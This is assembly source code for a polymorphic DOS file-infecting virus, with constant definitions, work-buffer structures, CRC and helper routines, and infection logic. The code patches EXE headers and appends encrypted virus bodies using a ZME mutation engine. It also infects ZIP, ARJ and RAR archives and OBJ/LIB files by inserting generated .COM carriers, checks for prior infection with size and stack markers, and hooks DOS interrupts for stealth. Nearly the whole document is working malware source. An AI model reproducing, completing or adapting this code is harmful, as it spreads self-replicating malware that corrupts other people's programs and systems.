opJMPFAR equ 0EAh
opMOV_AHimm equ 0B4h
opPUSH_CS equ 0Eh
opPUSHA equ 60h
opPOPA equ 61h
opJC equ 72h
opJZ equ 74h
opPOP_AX equ 58h
opPUSH_AX equ 50h
opCMP_AXimm equ 3Dh
opCMP_ALimm equ 3Ch
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;¬¨­¨¬ «ì­ë© ¨ ¬ ªá¨¬ «ì­ë© à §¬¥àë § à ¦ ¥¬ëå EXEè­¨ª®¢
MININFECTSIZE equ 400h ; 1k
MAXINFECTSIZE equ 80000h ;512k
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
INTERVAL_INFECT = 2
INCUB_TIME = 3 ;14 sec

VIRUSSTACKSIZE equ 0D0h
TIMEMARKER equ 1
SIZEMARKER equ 157d
SIZEMARKER_MOD equ 37d
CRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì­® ¢®§¬®¦­ë© (!)
DOUBLEENCRYPT equ 80h
HDRCRYPTLEVEL equ 4Fh
EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT
IXECRYPTLEVEL equ 29h
ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT
OBJCRYPTLEVEL equ 1Fh
IRP EXT, <ARX,EXE,IXE,OBJ,HDR>
zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT
ENDM
UNINIT equ 1111h
ZIP_SIGN = 4B50h
ARJ_SIGN = 60000d
RAR_SIGN = 6152h
HA_METHOD_STORED = 20H
ARJ_METHOD_STORED = 0
ZIP_METHOD_STORED = 0
RAR_METHOD_STORED = 30h
ZIP_LCL_ID = 403h
ZIP_CNL_ID = 201h
ZIP_END_ID = 605h
CRLF equ <0Dh,0Ah>
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;dword_shit struc
; lo dw ?
; hi dw ?
;ends
dword_shit struc
union
lo dw ?
struc
l db ?
h db ?
ends
ends
hi dw ?
ends

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ifInfJump macro whatest, execut
extrn IfInfect&whatest:near
; lea di, execut
call IfInfect&whatest
endm
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
probability_test macro variabl, glb_pr, go_to
local __1
extrn variabl:byte
call RND_GET_BYTE
cmp ah, byte ptr ds:[variabl]
jae __1
cmp al, glb_pr
__1:
jae go_to
endm
prALWAYS = -1

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ENGBUFFER STRUC ;
UNION
STRUC ;
zmeflags ENFLAGS ?
cur_cryptlevel db ?
ENDS
zmefl dw ?
ENDS
datasize dw ?
jmp_after_decrypt dw ?
targetptr dw ?
segm_IDT db ?
cJMP_patch dw ?
nJMP_patch dw ?
begin_sub dw ?
end_of_jmp dw ?
start_reg2 dw ?
start_reg3 dw ?
loop_top dw ?
lastgarble db ?
lastchoose db ?
decryptor_size dw ?
relocator_base dw ?
reloff_1 dw ?
reloff_2 dw ?
value_J dw ?
value_X dw ?
value_Y dw ?
useregs asgrbl ?
IRPC NR, 0123456
reg&NR RegWord ?
ENDM
ENDS
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;all_memory_size_p=400h ;16k in memory :)
all_memory_size_p=700h ;20k in memory :(
HDRBUFSIZE = 22h
hp equ (bp-80h)


WORKBUFFER STRUC
UNION
STRUC ;infect ARX
_arx_crc dd ?
_fnamestr db 12d dup (?)
_hafcount dw ?
ENDS
STRUC ;infect OMF
_siz98 dw ?
_posA0 dd ?
_sizA0 dw ?
_lib_dict_offset dw ?
ENDS
STRUC
UNION
STRUC ;func 4B
_load_fname dw ?
_load_array dw ?
ENDS
STRUC ;func 3F
_rd_st_cnt dw ?
_st_rd_off dw ?
_beg_pos_lo dw ?
ENDS
ENDS
UNION
_saved_seek dd ? ;for restore header etc
STRUC ;stealth int25
_start_sec dd ?
_abs_read_drive db ?
ENDS
ENDS
ENDS
ENDS
_host_arx_date dw ? ; ¤äâ  § à ¦ ¥¬®£® ä ©« 
_host_arx_time dw ? ; ¤äâ  § à ¦ ¥¬®£® ä ©« 
_beg_pos dd ? ;use in "f_insert"
_pos98 dd ?
_fisize dw ?
_fioff dw ?
_fnamesize dw ?
_crthdr db 40h dup (?)
_last_infect_time dw ?
_hook dw ?
_close_on_error db ? ;if 1, doserror-> close file
_save_sp dw ?
_save_ss dw ?
_after_goto dw ?
_five_bytes db 5 dup (?)
_turn_name_crc dw ?
_engdata ENGBUFFER ?
_exehdr db HDRBUFSIZE dup (?)
; _dataencriptor dd CRYPTLEVEL dup (?)
; _for_ret db ?

ENDS
_hahdr equ _exehdr
_ziphdr equ _exehdr
_arjhdr equ _exehdr
_rarhdr equ _exehdr
_objhdr equ _exehdr
_libhdr equ _exehdr
_sfxhdr equ _exehdr
_shift_buffer equ _exehdr


To_hp MACRO some_label
some_label equ (hp+_&some_label&)
ENDM

To_hp host_arx_date
To_hp host_arx_time
To_hp hook
To_hp last_infect_time
To_hp close_on_error
To_hp after_goto
To_hp lib_dict_offset
To_hp hafcount
To_hp saved_seek
To_hp start_sec
To_hp abs_read_drive
To_hp beg_pos
To_hp arx_crc
To_hp load_fname
To_hp load_array
To_hp rd_st_cnt
To_hp st_rd_off
To_hp beg_pos_lo
To_hp fnamestr
To_hp pos98
To_hp siz98
To_hp posA0
To_hp sizA0
To_hp fisize
To_hp fioff
To_hp fnamesize
To_hp engdata
To_hp crthdr
To_hp exehdr
To_hp save_sp
To_hp save_ss
To_hp five_bytes
To_hp turn_name_crc
To_hp hahdr
To_hp ziphdr
To_hp arjhdr
To_hp rarhdr
To_hp objhdr
To_hp libhdr
To_hp sfxhdr
To_hp shift_buffer

PURGE To_hp

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
IFDEF USE_BEEP
public beep

beep proc
call beep1
beep endp

beep1 proc
push cx ax
mov al, 3
out 61h, al
REPT 2
loop $
ENDM
mov al, 0
out 61h, al
pop ax cx
ret
beep1 endp
ENDIF
ends
end

;include shmac.inc
include star14t.inc
code segment public byte
assume cs:code
public Calculate_CRC
public Calculate_CRC5
;-+----------------------------------------------------------+-
;ds:si=ptr
;di=size
;return: cx:dx=crc32
;-+----------------------------------------------------------+-
Calculate_CRC5:
mov di, 5
Calculate_CRC:
cld
push bx
mov cx, -1
mov dx, cx
DO
xor ax, ax
xor bx, bx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
DO
shr bx, 1
rcr ax, 1
DOIF C
xor ax, 08320H
xor bx, 0EDB8H
DONE
dec dh
CYCLE NZ
xor cx, ax
xor dx, bx
dec di
CYCLE NZ
not dx
not cx
pop bx
mov ax, dx
ror ax, cl
add ax, cx
ret
;-+----------------------------------------------------------+-
ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code


;.DATA
public vir_heap, StealthName, start_data
public dataencriptor
public heap
public InfectTurn
public zip_h
public arj_h


;public five_bytes

zip_h dw ZIP_SIGN, ZIP_LCL_ID, 14h
arj_h dw ARJ_SIGN, 31Eh
start_data:
vir_heap:

WORKBUFFER ?

dataencriptor dd CRYPTLEVEL dup (?)
for_ret db ?

StealthName db 80h dup (?)
InfectTurn db 80h dup (?)
pblabel continue21
db 11d dup (?)
db ?
ret_hook dd ?
ret_sux dw ?
public ret_hook
public ret_sux
; public after_goto
;after_goto dw ?


heap:
db 1800h dup (?)
end_data:
;nameforinfect db 80h dup (?)
;CurDta
mem_virus_end:
;data_size=end_data-begin_data
;all_memory_size_p equ (offset mem_virus_end+30h)/10h
ends
end

code segment byte public
assume cs:code, ds:code, es:code, ss:code
public get_sft
get_sft proc ;bx-handle ;es:di-ptr to sft
push ax bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx ax
ret
get_sft endp
ends
end

code segment byte public
assume cs:code, ds:code, es:code, ss:code

public get_cur_time
get_cur_time proc
push ds
xor ax, ax
mov ds, ax
mov ax, word ptr ds:[46Dh]
pop ds
ret
get_cur_time endp

ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h
extrn restore_seek :near
extrn save_seek :near
extrn seek_end :near
extrn dosseek_bof :near
extrn DOSCALL :near
extrn DosCall_exc :near
extrn NOSTL21NAMES :near
extrn get_own_name :near
extrn get_crc_just_fname :near
;extrn check_PROCESS_NAME :near
;extrn EXE_TEST_READ :near
extrn start_data :near
extrn dosclose :near
extrn read_buf_22 :near

;public exe_test_read
;public IfInfectName
;public IfInfectHandle
;public IfInfectBuf
;public IfInfectNameCustom
;public exe_test
;public test_size

;-+------------------------------------------------------------------------+-
pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file
mov ax, 3D40h ; open R/O file
pblabel IfInfectNameCustom
mov byte ptr cs:[ErrorRead], opCALL
call DosCall_exc ; open file
;  ¥á«¨ ­¥ ®âªà®¥âáï - ®ç¥­ì ¯«®å® :(
;­ ¤® ®¡ï§ â¥«ì­® ®âªàëâì (67h?)
; push bx
xchg bx, ax
call seek_end
call test_size

; jnz ErrorRead


jz IfInfectHandle1
ErrorRead:
call dosclose ; close file
pop ax
ret
;-+------------------------------------------------------------------------+-


pblabel IfInfectHandle
mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file
IfInfectHandle1:
MOVSEG ds, cs
;*****************test size


mov ax, 4400h ; IOCTL test for file/stream
call DosCall ;NDD: open 'CON' :)
jc ErrorRead ;no file
rol dl, 1
jc ErrorRead ;no file

call save_seek
;
; call seek_end
; call test_size
; jnz ErrorRead
;
call dosseek_bof
call read_buf_22
; jc ErrorRead
call restore_seek


pblabel IfInfectBuf
;if PKZIP, NDD (ZF=1) - no stealth
push ds dx
call get_own_name
call get_crc_just_fname
pop dx ds
jz ErrorRead
call exe_test
jnz ErrorRead ;test for infect

mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS]
add ax, [exehdr.exe_par_dir]
mov cx, 10h
mul cx
add ax, [exehdr.exe_SP]
sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size
cmp ah, MININFECTSIZE/100h
jb ErrorRead
test al, 1
jnz ErrorRead
ret
;IfInfectHandle endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect
;ZF=0 - no infected file
; mov ax, [exehdr.exe_SS]
; inc ax
; sub ax, [exehdr.exe_CS]
; DOIF Z

mov al, [exehdr.exe_SS.h]
sub al, [exehdr.exe_CS.h]
cmp al, 17h
DOIF BE
mov ax, [exehdr.exe_SP]
and ax, 0FFF0h
sub ax, STACKBASE
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel test_size ;ax-(file_size and 0FFFFh)
;-+------- test for already infect -> ZF=1 if possible infect
;ZF=0 - no infected file
;for length with virus
push ax cx dx
xor dx, dx
mov cx, SIZEMARKER
div cx
cmp dx, SIZEMARKER_MOD
pop dx cx ax
ret
;-+------------------------------------------------------------------------+-

ends
end

; BUG LIST
; 1. no infect ARJSFX
; 2. no -AV in ZIP
; 3. no support RAR 1.30
; 4. no support long names

INCLUDE ZURICH.ASI

code segment byte public
assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
extrn DOSCALL :near
extrn DOStruncate :near
extrn rt_err :near
extrn vir_heap :near
extrn EXE_TEST :near
extrn SEEK_END :near
extrn TEST_SIZE :near
extrn START_DATA :near
extrn CALC_HDR_PAGES :near
extrn DOSSEEK :near
extrn START_DATA :near
extrn DOSSEEK_BOF :near
extrn ZME_crypt :near
extrn dosseek_cur :near
extrn DosCall_exc :near
extrn SHIT_AX :near
extrn get_sft :near
extrn dostell :near
extrn heap :near
extrn DosSeek_all :near
extrn dosseek_cur_neg_dx :near
extrn dosseek_cur_neg_ax :near
extrn dosseek_cur_cx_1 :near
extrn dosseek_cur_cx_0 :near
extrn dosseek_cx_0 :near
extrn arj_h :near
extrn zip_h :near
extrn dosread :near
extrn read_buf_22 :near
extrn read_buf_cx :near
extrn DosWrite_shbuf_22 :near
extrn DosWrite_shbuf :near
extrn DosWrite :near
extrn dosclose :near
extrn doswrite_from_heap :near
extrn _____ :byte
extrn Calculate_CRC :near
extrn get_cur_time :near
extrn get_crc_just_fname :near
extrn InfectTurn :byte
extrn crypt_exe_header :near
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel InfectName
MOVSEG ds, cs
lea dx, InfectTurn
call get_crc_just_fname
jz $ret$
cmp ax, [turn_name_crc]
je $ret$
mov [turn_name_crc], ax
mov ax, 3D12h
call DosCall_exc
xchg bx, ax
push bx
call InfectHandle
pop bx
jmp dosclose
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel InfectHandle ;ret
; cld
MOVSEG ds, cs
MOVSEG es, cs
call no_freq_proc
mov ax, 5700h
call doscall
mov [host_arx_date], dx ; dx = date
mov [host_arx_time], cx ; cx = time
mov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ......
call doscall
xor dx, [host_arx_date] ;­¥ § à ¦ âì ä ©«ë í⮩ ­¥¤¥«¨
and dx, 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ ä ©«ë (?)
DOIF NZ
call arxtest
DONE
mov cx, [host_arx_time]
xor cl, 1 ;change time for 1F
mov dx, [host_arx_date]
mov ax, 5701h
jmp doscall_exc
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pblabel arxtest ;close file(?)
call RND_INIT
mov ax, 4400h ; IOCTL test for file/stream
call DosCall_exc
cmp dl, 80h
DOIF NC
$ret: pop ax ;don't restore file time
$ret$: retn
DONE
and dl, 0Fh
inc dx ;1=a, 3=C

;IFDEF RELIZ
; cmp dl, 3
;ELSE
; cmp dl, 4
; jbe $ret ; no flop & C:
;ENDIF
; jc $ret ; no flop
;int 2bh

cmp dl, 3 ;<<debug
jbe $ret ;<<debug
$BEEP$
;cmp dl, 2 ;<<debug
;je $ret ;<<debug
;cmp dl, 1 ;<<debug
;je $ret ;<<debug

call get_sft
cmp es:[di.sf_name.9], 'V' ;*.ov?
je $ret
inc di
DOIF NZ
inc di
sto_word 2012h
sto_byte 20h
DONE

movseg es, ss

push bx ds
mov ah, 32h ;get DPB
call DosCall ;test for RAM-DISK
cmp byte ptr ds:dpb_FAT_count[bx], 1 ;RAM-DISK have one FAT
DOIF NE
mov ah, 36h ;get Disk space
call DosCall ;BX - free clusters
and bh, bh ;BX < 100h
DONE
;no_free_space2: ;8k*100h = 2Mb
pop ds bx ;.5k*100h = 128k
jz $ret

;int 2bh
; mov es:[(di-1).sf_mode.l], 12h ;mode +2
; mov es:[(di-1).sf_attr], 20h ;attr +4

call dosseek_bof
pblabel second_tst
call read_buf_22
cmp al, HDRBUFSIZE
jne __ret
mov crcpass, 8
DO
shr crcpass, 1
DOIF E ;CPU conveir
__ret:
ret
DONE
lea si, [vir_heap._exehdr]
mov di, 2 ;4,2,1
crcpass equ byte ptr ($-2)
call calculate_crc
lea di, hdrs
mov cx, (offs-hdrs)/2
repne scasw
CYCLE NZ

push word ptr [di+offs-hdrs-2]
cmp cx, (offs-endarxex)/2 ;<<<
DOIF AE ;zip, arj, rar
;Ä[create & infect file]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call RND_GET_BYTE
lea di, [heap]
sto_byte opJMPN
stosw
mov ax, zmeflARX
call ZME_crypt ;;ret CX-SIZE
lea si, [heap]
mov word ptr [fioff] , si
mov [si+1], ax ;<com
call RND_GET
and ax, 0FFFh ;<<<<<<<<<<,
; push ax
add ax, 3 ;<com
add cx, ax

mov word ptr [fisize], cx ;<all
; pop ax
call SHIT_AX
;create & infect carrier
mov di, [fisize]
call Calculate_CRC
mov [arx_crc.lo], cx
mov [arx_crc.hi], dx
;Ä[generate name]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;int 2bh
;$BEEP$
call RND_GET_Three_Bits
and al, not 4
add al, 2
mov cx, ax
add al, 4
mov word ptr [fnamesize], ax
lea di, [vir_heap._fnamestr]
DO
DO
call RND_GET_BYTE
cmp al, 'V'-'A' ; ('Z'-'A')
CYCLE A
add al, 'A'
stosb
CYCLE LU
sto_two_byte '.', 'C'
sto_two_byte 'O', 'M'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DONE
MOV [pos98.hi], -1
$$ret:
retn
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÅÄÄ[process EXE/SFX]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel process_exe
mov ax, [exehdr.exe_pages]
mov cx, [exehdr.exe_len_mod_512]
jcxz ExactPage
dec ax
pblabel ExactPage
mov dx, 200h
mul dx
add cx, ax
xchg cx, dx
call DosSeek
call second_tst
cmp di, offset offs-2
jb $$ret
;ÄÅÄÄ[process EXE]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
;newexetest
; probability_test prblt_infct_EXE, 0f0h, error_exit
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INFECT exe
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;int 2bh
call seek_end
;§¤¥áì ®âá¥ïâì ¬ «¥­ìª¨¥ ä ©«ë
cmp ah, MININFECTSIZE/100H
jb $$ret
;................................
call test_size ;proc;ax-(file_size and 0FFFFh)
jz $$ret

call dosseek_bof
call read_buf_22
call exe_test
jz $$ret ;already infect
;; ­¥ § à ¦ âì EXE ä ©«ë ¡¥§ ५®ª¥©è¥­®¢,
;¨ ¥á«¨ ५®ª¥©è¥­®¢ ®ç¥­ì ¬­®£® (?)
cmp byte ptr [exehdr.exe_rle_count], 1 ;0 or 1 relocations
jb $$ret
;................................

;; ¥á«¨ ¤«¨­  § £à㦠¥¬®© ç á⨠exeè­¨ª  ¡®«ìè¥ ... 32k = 40h pages
;test for pklite(etc) & PASS E
cmp word ptr [exehdr+18h], 40h ;
jae standart_exe_infect2
mov al,

  
byte ptr [exehdr+1Eh]
cmp al, 'P' ;PKLITE ?
je standart_exe_infect2
cmp al, 20h ;07, 20h -WATCOM
je standart_exe_infect2
cmp al, 7 ;07, 20h -WATCOM
je standart_exe_infect2
cmp byte ptr [exehdr.exe_pages], 40h
jbe standart_exe_infect2
pblabel insert_exe_infect
mov dx, [exehdr.exe_par_dir]
shl dx, 4
jc standart_exe_infect2 ;if header>64k
call dosseek_cx_0
lea dx, [heap]
mov cx, 1800h ;6k
call DosRead
xchg cx, ax
;scan
lea si, [heap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je exfnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je exfnd
pblabel cont_search
pop cx ;
CYCLE LU
pblabel standart_exe_infect2
jmp standart_exe_infect
pblabel exfnd
sizeof_part1=54h
push si
mov cx, sizeof_part1
DO
lodsb
push cx
lea di, endd
mov cx, 6
repne scasb
pop cx
; jz nff
;nff:
DOIF Z
pop si
jmp cont_search
DONE
CYCLE LU
pop si
;$BEEP$
extrn ffsize_lo:word
extrn ffsize_hi:word
call seek_end
mov ffsize_lo, ax
mov ffsize_hi, dx
mov dx, [exehdr.exe_par_dir]
shl dx, 4
add dx, si
sub dx, (offset heap)+3
call dosseek_cx_0
lea dx, [heap+sizeof_part2]
; to heap+sizeof(part2)
mov cx, sizeof_part1
call DosRead
call dosseek_cur_neg_ax
;§¤¥áì part 1
extrn part1:near
extrn part2:near
;¢ë¡®à ªà¨¯â®¢é¨ª  ¤«ï part2 (?)
extrn crypt_part2:byte
call RND_GET
mov crypt_part2, al
mov crypt_old1, ah
lea dx, part1
mov cx, sizeof_part1
call DosWrite
call seek_end
sizeof_part2 = 70h
;«ãçè¥ çâ®-â® ¢à®¤¥:
; part2 -> heap
; encode virus to heap+sizeof(part1)+sizeof(part2)
lea di, [heap+sizeof_part1+sizeof_part2]
mov ax, zmeflIXE
call ZME_crypt ;;ret CX-SIZE
extrn ffentrvir:word
extrn crypt_old1:byte
mov ffentrvir, ax ;?
lea si, part2
lea di, [heap]
push cx
mov cx, sizeof_part2
DO
lodsb
sub al, crypt_part2
stosb
CYCLE LU
mov cx, sizeof_part1
mov al, crypt_old1
DO
sub byte ptr [di], al
inc di
CYCLE LU
pop cx

; crypt part2

add cx, (sizeof_part1+sizeof_part2)
call doswrite_from_heap
call write_sizemarker
pblabel error_exit_2
pop ax
pblabel endd
db 0C3h
db 0CBh
db 0CFh
db 09Ah
db 0CAh
db 0C2h
pblabel no_freq_proc
call get_cur_time
sub ax, [last_infect_time]
cmp ax, INTERVAL_INFECT ;0.5 ¬¨­
IFDEF RELIZ
jl error_exit_2 ;<<<<<<<<<debug
ENDIF
ret

; ret

; DONE
pblabel standart_exe_infect
call seek_end ;dx:ax - file size
test al, 1
jnz endd ;­¥ § à ¦ âì EXEä ©«ë á ­¥ç¥â­®© ¤«¨­®©
cmp dl, 6 ;6*64k=384k 4*64k=256k
jae endd ;file too big, infect him other method (?)

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INFECT
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;write old header to EOF
push ax dx ;dx:ax - file size
call crypt_exe_header
mov cx, exe_rle_table-exe_len_mod_512 ;14h
call doswrite_from_heap
pop dx ax

mov cx, ax
and cx, 0Fh
add cl, STACKBASE ;offset virus_start-10h
mov [exehdr.exe_SP], cx

add ax, VIRUSSTACKSIZE-10h ;paragraph
and ax, not 0Fh

push ax dx
mov cx, dx
mov dx, ax
call dosseek
pop dx ax

mov cx, 10h
div cx ;dx:ax =
sub ax, [exehdr.exe_par_dir]
sub ax, VIRUSSTACKSIZE/10h
mov [exehdr.exe_CS], ax
add ah, cl
mov [exehdr.exe_SS.h], ah ;64k
call RND_GET_THREE_BITS
add [exehdr.exe_SS.h], al ;


lea di, [heap] ;to heap
mov ax, zmeflEXE
call ZME_crypt ;;ret CX-SIZE
add ax, VIRUSSTACKSIZE
mov [exehdr.exe_IP], ax
call doswrite_from_heap ;write encrypted virus
call write_sizemarker
call seek_end ;get file size
mov di, [exehdr.exe_pages]
call calc_hdr_pages
;㬥­ìè¨âì MinMem ­  à §¬¥à ®¢¥à«¥ï (?)
sub di, [exehdr.exe_pages] ;®âà¨æ.
shl di, 5
add [exehdr.exe_min_BSS], di
DOIF NC
mov [exehdr.exe_min_BSS], 0
DONE
pblabel write_exehdr
call dosseek_bof
mov cx, 1Ch
jmp DosWrite_shbuf ;write new header


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÅÄÄ[process OBJ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ
pblabel cycle_o
mov dx, [objhdr.recsize]
sub dx, HDRBUFSIZE - 3
sbb cx, cx
call dosseek_cur ;_cx_0
call read_buf_22 ;
cmp al, HDRBUFSIZE
jne obj$ret1
pblabel process_obj ;test size
;int 2bh
cmp [objhdr.rectype], MODEND
je obj$ret1
;-+-[process 98]-------------+-
cmp [objhdr.rectype], SEGDEF
PASS NE
CMP [pos98.hi], -1
DOIF E
cmp word ptr [objhdr.recsize], 7
jne obj$ret1
test byte ptr [objhdr.segattr], MASK SA_B or MASK SA_P
jnz obj$ret1
test byte ptr [objhdr.segattr], 0A0h ;borland windows library is WORD alignment
